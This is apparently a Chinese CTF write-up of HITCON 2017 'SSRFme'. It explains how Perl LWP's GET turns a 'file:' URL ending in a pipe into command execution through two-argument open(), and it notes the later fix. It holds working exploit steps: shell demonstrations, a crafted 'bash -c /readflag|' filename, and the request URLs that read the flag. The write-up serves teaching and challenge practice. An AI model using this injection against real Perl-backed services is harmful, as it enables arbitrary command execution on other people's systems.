perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)

GET命令执行漏洞

思路来自于HITCON2017中的ssrfme,考点是GET的任意命令执行。代码很简单,调用命令GET来执行从url获取的参数, 然后按照filename新建文件,写入GET的结果。
我不知道关于这个问题最早是什么时候爆出的了,但确实已经很多年了。

root@iZ285ei82c1Z:~/test# cat a.pl open(FD, '|id');print <FD>;root@iZ285ei82c1Z:~/test# perl a.pl uid=0(root) gid=0(root) groups=0(root)root@iZ285ei82c1Z:~/test# cat test.pl open(FD, 'whoami|');print <FD>;root@iZ285ei82c1Z:~/test# perl test.pl moxiaoxi

而perl里的GET函数底层就是调用了open处理

file.pm84: opendir(D, $path) or132:    open(F, $path) or return new

perl脚本中GET命令执行漏洞:(前提是文档需要存在)

touch 'id|'GET ’file:id|' uid=0(root) gid=0(root) groups=0(root)

open函数本身还支持file协议

root@iZ285ei82c1Z:~/test# cat /usr/share/perl5/LWP.pm...=head2 File Request
The library supports GET and HEAD methods for file requests.  The'If-Modified-Since' header is supported.  All other headers are
ignored.  The I<host> component of the file URL must be empty or set
to 'localhost'.  Any other I<host> value will be treated as an error.Directories are always converted to an HTML document.  For normal
files, the 'Content-Type' and 'Content-Encoding' in the response are
guessed based on the file suffix.Example:
  $req = HTTP::Request->new(GET => 'file:/etc/passwd');...

在perl下,如果open的第二个参数(path)可控,我们就能进行任意代码执行。综合看起来像是一个把文件名拼接入命令导致的命令执行。
而GET对协议处理部分调用的是 /usr/share/perl5/LWP/Protocol下的各个pm模块,通过查询可以发现在file.pm中,path参数是完全可控的。
源码如下:

...# URL OK, look at filemy $path = $url->file;# test file exists and is readableunless (-e $path) {return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND, 'File `$path' does not exist');}...# read the fileif ($method ne 'HEAD') {open(F, $path) or return new HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR, 'Cannot read file '$path': $!');...

这里多了一个限制条件,就是file.pm会先判断文件是否存在。若存在,才会触发最终的代码执行。

➜  test GET 'file:id|'➜  test touch 'id|'➜  test GET 'file:id|'uid=1000(moxiaoxi) gid=1000(moxiaoxi) groups=1000(moxiaoxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

我们可以测试一下

root@iZ285ei82c1Z:~/test# GET 'file:id|'uid=0(root) gid=0(root) groups=0(root)

成功执行命令了,那么思路就清楚了,我们就可以通过传入 命令文件名命令来执行。

[HITCON 2017]SSRFme

已进入题目便给出了php代码:

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);  // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER['REMOTE_ADDR'];

    $sandbox = 'sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']);   // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。
    @mkdir($sandbox);
    @chdir($sandbox);     // 改变当前的目录到$sandbox

    $data = shell_exec('GET ' . escapeshellarg($_GET['url']));     // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
    $info = pathinfo($_GET['filename']);  // pathinfo() 函数以数组的形式返回文件路径的信息。
    $dir  = str_replace('.', '', basename($info['dirname']));   // basename() 函数返回路径中的文件名部分。
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info['basename']), $data);
    highlight_file(__FILE__);
    // 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。

escapeshellarg($arg) 把字符串转码为可以在 shell命令函数里使用的参数;将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system()、执行运算符反引号(``) 。 arg需要被转码的参数。 例子:

<?phpsystem('ls '.escapeshellarg($dir)); ?>

pathinfo() 返回一个关联数组包含有 path 的信息。 包括以下的数组元素:

  • [dirname] //路径名

  • [basename] //文件名

  • [extension] //扩展名

例子 1

<?php print_r(pathinfo('/testweb/test.txt')); ?>

输出:

Array ( [dirname] => /testweb [basename] => test.txt[extension] => txt )

根据源码可以发现php会对传过去的参数用escapeshellarg函数过滤。先创建一个目录sandbox/md5(orange+ip),然后执行GIT $_GET['url'],然后会创建文件夹,并将执行GIT $_GET['url']后的结果放在该文件夹下面filename传过去的文件中。
先来看一下REMOTE_ADDR,REMOTE_ADDR为正在浏览当前页面用户的 IP 地址,题目已给出就不用查了,就是:

则目录$sandbox为sandbox/md5(orange111.73.46.229:80)即:sandbox/864300xxxxxxxxxxcc4523ef49c50223

方法一:

GET ./可以查看当前路径,GET …/可以查看上一级路径,于是:
先:http://0ba28389-bff6-48a1-952c-cfd44f67bfb3.node3.buuoj.cn/?url=../../../../../../&filename=aaa?url=/&filename=aaa
然后访问aaa:
http://0ba28389-bff6-48a1-952c-cfd44f67bfb3.node3.buuoj.cn/sandbox/864300xxxxxxxxxxcc4523ef49c50223/aaa,得如下页面:

可以发现有readflag和flag,于是猜想执行readflag flag可以得到flag,接下来就是如何构造并执行了。

readflag是一个+了s权限的一个读flag的程序。

利用perl的open命令有可能会导致命令执行

在处理file协议的perl5/LWP/Protocol/file.pm的130行,如下:

#第47行
    # test file exists and is readable
    unless (-e $path) {
    return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
                  'File `$path' does not exist');
    }
    unless (-r _) {
    return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
                  'User does not have read permission');
    }...#第127行
    # read the file
    if ($method ne 'HEAD') {
    open(F, $path) or return new
        HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
               'Cannot read file '$path': $!');
    binmode(F);
    $response =  $self->collect($arg, $response, sub {
        my $content = '';
        my $bytes = sysread(F, $content, $size);
        return \$content if $bytes > 0;
        return \ '';
    });
    close(F);
    }...

ubuntu18.04 已经修复此漏洞
修复的方式是在下面第三行代码中,open中间加了个参数’<’

# read the file if ($method ne 'HEAD') { open(my $fh, '<' , $path) or return new //open 函数以只读的方式(<)打开文件 HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR, 'Cannot read file '$path': $!'); binmode($fh); $response = $self->collect($arg, $response, sub { my $content = ''; my $bytes = sysread($fh, $content, $size); return \$content if $bytes > 0; return \ ''; }); close($fh); }

利用bash -c 'cmd string'来执行命令执行readflag。(不用bash -c可以直接/readflag读取flag)

首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:
?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到111文件
访问sandbox/md5/aaa(得到flag)
(0)

相关推荐

  • 生信主管应该了解的十个Linux知识点

    linux的发行版非常多,其实本质上差别不大,哪怕是mac的OS应该是也是同样的管理操作模式.以下针对于ubuntu适用,当然ubuntu本身也有版本的区别,目前是16,我下面的操作是在12上进行的. ...

  • docker学习13-docker容器的文件导入和导出

    前言 搭建的docker环境,经常需要与docker容器内部文件交互,把外部的文件(或宿主机)传到容器内部. 或者把容器内部的文件导出来 rz和sz 先进docker容器内部,以下操作是在容器内部操作 ...

  • Linux通过命令查找替换文本内容的方法

    Linux系统与其他系统相比,可以使用命令行进行各种操作,是它一个突出的特点.今天小编就和大家分享下如何在Linux系统使用命令进行对文件内容的查找与替换的方法吧. 如何使用命令进行对文件内容的查找与 ...

  • CTF中的命令执行绕过

    在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为CTF最基础的操作,命令执 ...

  • 【漏洞预警】天融信关于Redis数据库远程命令执行漏洞的预警

    0x00背景介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API.作为一个高性能的key-value数据库,R ...

  • Bash脚本编程学习笔记01:变量与多命令执行

    变量基础知识 程序由指令加数据所组成,而变量可以理解为数据来源的一种. 变量名可以理解为指向了某个内存空间的地址,对于变量的赋值可理解为向内存空间写入数据,对于变量的引用可理解为从内存空间读取数据. ...

  • Apache OpenOffice被发现已存在16年之久的代码执行漏洞

    Travis OSC开源社区 昨天 文 | Travis 出品 | OSC开源社区(ID:oschina2013) 如果你在 2021 年仍然在依赖 Apache OpenOffice 这一开源办公套 ...

  • Linux命令中交互式命令都有哪些?Linux基础

    交互式命令就是在top命令执行过程中使用的一些命令.top命令用于实时地对系统处理器状态进行监控,它能够实时地显示系统中各个进程的资源占用状况.该命令可以按照CPU的使用.内存的使用和执行时间对系统任 ...

  • 后处理TCL脚本语言:命令、脚本文件、值

    一.UG/Post的开发方法与使用的工具: UG/Post的开发,其核心是TCL语言的运用.TCL是Tool Command Language的缩写,英文发音为tickle,中文名叫工具命令语言,是一 ...

  • 使用命名管道通讯的命令执行工具

    管道简述 管道并不是什么新鲜事物,它是一项古老的技术,可以在很多操作系统(Unix.Linux.Windows 等)中找到,其本质是是用于进程间通信的共享内存区域,确切的的说应该是线程间的通信方法(I ...

  • Django中使用Celery执行异步和定时任务的注意事项

    WEB前端开发社区 昨天 1. Windows中使用Celery 4.0及以后版本 Celery 4.0+及以后版本不支持在windows系统上运行.如果你希望在windows系统上使用celery, ...

  • 卡巴斯基在桌面窗口管理器中发现零日漏洞

    2021年初,卡巴斯基研究人员在对已经被上报的BITTER高级可持续威胁组织使用的CVE-2021-1732漏洞进行深入分析后,发现了另一个零日漏洞.目前,安全专家还未能将这种漏洞与任何已知的威胁行为 ...